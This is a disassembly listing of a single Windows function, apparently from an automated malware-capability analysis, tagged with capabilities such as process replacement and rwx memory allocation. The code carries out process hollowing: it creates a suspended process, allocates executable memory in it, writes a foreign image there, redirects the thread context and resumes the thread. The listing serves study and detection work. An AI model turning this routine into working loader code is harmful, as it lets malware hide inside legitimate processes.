Function at 0x10004200
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x1000450d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
call fcn.1000416c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call fcn.100011b4
mov dword [ebp - 0x18], eax
xor edx, edx
push ebp
push 0x100044e0
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 0x14]
lea edi, [edx + 0x18]
mov edx, dword [ebp - 0x14]
movzx edx, word [edx + 0x14]
add edi, edx
mov edx, dword [ebp - 0x14]
movzx esi, word [edx + 6]
dec esi
test esi, esi
jb 0x100042a8
inc esi
xor ebx, ebx
lea edx, [ebx + ebx*4]
cmp eax, dword [edi + edx*8 + 0x14]
jbe 0x100042a4
lea eax, [ebx + ebx*4]
mov eax, dword [edi + eax*8 + 0x14]
inc ebx
dec esi
jne 0x10004294
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.10003680
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
call fcn.100041e0
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
movzx esi, word [eax + 6]
dec esi
test esi, esi
jb 0x1000434a
inc esi
xor ebx, ebx
lea eax, [ebx + ebx*4]
mov eax, dword [edi + eax*8 + 0x10]
test eax, eax
jbe 0x10004324
lea edx, [ebx + ebx*4]
cmp eax, dword [edi + edx*8 + 8]
jbe 0x100042f6
lea eax, [ebx + ebx*4]
mov eax, dword [edi + eax*8 + 8]
lea edx, [ebx + ebx*4]
mov edx, dword [edi + edx*8 + 0x14]
add edx, dword [ebp - 4]
mov ecx, eax
mov eax, dword [ebp - 0x10]
call fcn.10003680
lea eax, [ebx + ebx*4]
mov eax, dword [edi + eax*8 + 8]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx + 0x38]
call fcn.100041e0
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
jmp 0x10004346
lea eax, [ebx + ebx*4]
cmp dword [edi + eax*8 + 8], 0
je 0x10004346
lea eax, [ebx + ebx*4]
mov eax, dword [edi + eax*8 + 8]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx + 0x38]
call fcn.100041e0
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
inc ebx
dec esi
jne 0x100042db
lea eax, [ebp - 0x13c]
mov edx, 0x44
call fcn.10003688
lea eax, [ebp - 0xe8]
mov edx, 0xcc
call fcn.10003688
call fcn.10001420
mov esi, eax
test esi, esi
jle 0x100043a6
mov ebx, 1
push dword [ebp - 0x1c]
push 0x10004524
lea edx, [ebp - 0x140]
mov eax, ebx
call fcn.10001480
push dword [ebp - 0x140]
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.100027e0
inc ebx
dec esi
jne 0x1000437a
mov dword [ebp - 0x13c], 0x44
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x13c]
push eax
lea edx, [ebp - 0x148]
xor eax, eax
call fcn.10001480
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.10003868
mov eax, dword [ebp - 0x144]
call fcn.10002918
push eax
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x14c]
xor eax, eax
call fcn.10001480
lea eax, [ebp - 0x14c]
mov edx, dword [ebp - 0x1c]
call fcn.10002728
mov eax, dword [ebp - 0x14c]
call fcn.10002918
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov dword [ebp - 0xe8], 0x10007
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0xf4]
push eax
call sub.kernel32.dll_GetThreadContext
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_VirtualAllocEx
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 8]
push eax
push 4
mov eax, dword [ebp - 0x14]
add eax, 0x34
push eax
mov eax, dword [ebp - 0x44]
add eax, 8
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x14]
add eax, dword [edx + 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0xf4]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0xf4]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x100044e7
mov eax, dword [ebp - 0x18]
push eax
call fcn.10003278
pop ecx
ret